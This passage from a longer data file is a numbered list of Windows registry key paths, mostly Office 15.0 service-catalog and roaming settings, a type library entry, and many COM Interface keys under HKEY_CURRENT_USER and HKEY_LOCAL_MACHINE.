  889. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SortOrder",
  890. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SupportsMultiple",
  891. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\CapabilitiesMetadata",
  892. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Description",
  893. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Name",
  894. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceId",
  895. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceUrl",
  896. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata",
  897. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  898. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  899. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\KeyTip",
  900. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\RegularExpression",
  901. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\Type",
  902. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails",
  903. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url16x16",
  904. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url32x32",
  905. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url48x48",
  906. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\Trusted Documents\\LastPurgeTime",
  907. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingConfigurableSettings",
  908. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastSyncTime",
  909. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastWriteTime",
  910. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{7B3648A2-CF31-41FD-BCC9-3CF0C5A39458}",
  911. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{7B3648A2-CF31-41FD-BCC9-3CF0C5A39458}\\2.0",
  912. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{7B3648A2-CF31-41FD-BCC9-3CF0C5A39458}\\2.0\\(Default)",
  913. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{7B3648A2-CF31-41FD-BCC9-3CF0C5A39458}\\2.0\\FLAGS",
  914. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{7B3648A2-CF31-41FD-BCC9-3CF0C5A39458}\\2.0\\FLAGS\\(Default)",
  915. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{7B3648A2-CF31-41FD-BCC9-3CF0C5A39458}\\2.0\\0",
  916. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{7B3648A2-CF31-41FD-BCC9-3CF0C5A39458}\\2.0\\0\\win32",
  917. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{7B3648A2-CF31-41FD-BCC9-3CF0C5A39458}\\2.0\\0\\win32\\(Default)",
  918. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{7B3648A2-CF31-41FD-BCC9-3CF0C5A39458}\\2.0\\HELPDIR",
  919. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{7B3648A2-CF31-41FD-BCC9-3CF0C5A39458}\\2.0\\HELPDIR\\(Default)",
  920. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\Wow6432Node\\Interface\\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\\(Default)",
  921. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{7B3648A2-CF31-41FD-BCC9-3CF0C5A39458}\\2.0",
  922. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{7B3648A2-CF31-41FD-BCC9-3CF0C5A39458}\\2.0\\(Default)",
  923. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{7B3648A2-CF31-41FD-BCC9-3CF0C5A39458}\\2.0\\FLAGS",
  924. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{7B3648A2-CF31-41FD-BCC9-3CF0C5A39458}\\2.0\\FLAGS\\(Default)",
  925. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{7B3648A2-CF31-41FD-BCC9-3CF0C5A39458}\\2.0\\0",
  926. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{7B3648A2-CF31-41FD-BCC9-3CF0C5A39458}\\2.0\\0\\win32",
  927. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{7B3648A2-CF31-41FD-BCC9-3CF0C5A39458}\\2.0\\0\\win32\\(Default)",
  928. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{7B3648A2-CF31-41FD-BCC9-3CF0C5A39458}\\2.0\\HELPDIR",
  929. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{7B3648A2-CF31-41FD-BCC9-3CF0C5A39458}\\2.0\\HELPDIR\\(Default)",
  930. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{BEF6E003-A874-101A-8BBA-00AA00300CAB}",
  931. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\\(Default)",
  932. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{BEF6E003-A874-101A-8BBA-00AA00300CAB}",
  933. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\\(Default)",
  934. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{EC72F590-F375-11CE-B9E8-00AA006B1A69}",
  935. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\\(Default)",
  936. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{EC72F590-F375-11CE-B9E8-00AA006B1A69}",
  937. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\\(Default)",
  938. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02370-B5BC-11CF-810F-00A0C9030074}",
  939. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02370-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  940. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02370-B5BC-11CF-810F-00A0C9030074}",
  941. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02370-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  942. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02371-B5BC-11CF-810F-00A0C9030074}",
  943. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02371-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  944. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02371-B5BC-11CF-810F-00A0C9030074}",
  945. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02371-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  946. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02372-B5BC-11CF-810F-00A0C9030074}",
  947. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02372-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  948. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02372-B5BC-11CF-810F-00A0C9030074}",
  949. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02372-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  950. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8A683C90-BA84-11CF-8110-00A0C9030074}",
  951. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8A683C90-BA84-11CF-8110-00A0C9030074}\\(Default)",
  952. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8A683C90-BA84-11CF-8110-00A0C9030074}",
  953. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8A683C90-BA84-11CF-8110-00A0C9030074}\\(Default)",
  954. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8A683C91-BA84-11CF-8110-00A0C9030074}",
  955. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8A683C91-BA84-11CF-8110-00A0C9030074}\\(Default)",
  956. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8A683C91-BA84-11CF-8110-00A0C9030074}",
  957. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8A683C91-BA84-11CF-8110-00A0C9030074}\\(Default)",
  958. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}",
  959. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  960. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}",
  961. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  962. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}",
  963. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  964. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}",
  965. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  966. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{29B86A70-F52E-11CE-9BCE-00AA00608E01}",
  967. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\\(Default)",
  968. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{29B86A70-F52E-11CE-9BCE-00AA00608E01}",
  969. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\\(Default)",
  970. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}",
  971. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  972. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}",
  973. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  974. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}",
  975. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\\(Default)",
  976. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}",
  977. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\\(Default)",
  978. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}",
  979. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\\(Default)",
  980. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}",
  981. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\\(Default)",
  982. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}",
  983. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\\(Default)",
  984. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}",
  985. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\\(Default)",
  986. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}",
  987. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  988. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}",
  989. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  990. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}",
  991. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  992. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}",
  993. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  994. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}",
  995. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  996. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}",
  997. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  998. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}",
  999. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1000. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}",
  1001. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1002. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}",
  1003. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1004. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}",
  1005. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1006. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}",
  1007. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1008. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}",
  1009. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1010. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}",
  1011. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1012. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}",
  1013. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1014. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}",
  1015. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1016. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}",
  1017. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1018. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}",
  1019. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1020. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}",
  1021. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1022. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{A38BFFC3-A5A0-11CE-8107-00AA00611080}",
  1023. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\\(Default)",
  1024. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{A38BFFC3-A5A0-11CE-8107-00AA00611080}",
  1025. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\\(Default)",
  1026. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{944ACF93-A1E6-11CE-8104-00AA00611080}",
  1027. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{944ACF93-A1E6-11CE-8104-00AA00611080}\\(Default)",
  1028. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{944ACF93-A1E6-11CE-8104-00AA00611080}",
  1029. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{944ACF93-A1E6-11CE-8104-00AA00611080}\\(Default)",
  1030. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}",
  1031. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1032. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}",
  1033. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1034. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{79176FB3-B7F2-11CE-97EF-00AA006D2776}",
  1035. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\\(Default)",
  1036. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{79176FB3-B7F2-11CE-97EF-00AA006D2776}",
  1037. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\\(Default)",
  1038. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{4C599243-6926-101B-9992-00000B65C6F9}",
  1039. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{4C599243-6926-101B-9992-00000B65C6F9}\\(Default)",
  1040. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{4C599243-6926-101B-9992-00000B65C6F9}",
  1041. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{4C599243-6926-101B-9992-00000B65C6F9}\\(Default)",
  1042. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}",
  1043. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1044. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}",
  1045. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1046. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}",
  1047. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1048. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}",
  1049. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1050. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}",
  1051. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1052. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}",
  1053. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1054. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}",
  1055. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1056. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}",
  1057. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1058. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}",
  1059. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1060. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}",
  1061. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1062. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}",
  1063. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1064. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}",
  1065. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1066. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}",
  1067. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1068. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}",
  1069. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1070. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}",
  1071. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1072. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}",
  1073. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1074. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}",
  1075. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1076. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}",
  1077. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1078. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}",
  1079. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1080. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}",
  1081. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1082. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}",
  1083. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\\(Default)",
  1084. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}",
  1085. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\\(Default)",
  1086. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}",
  1087. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1088. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}",
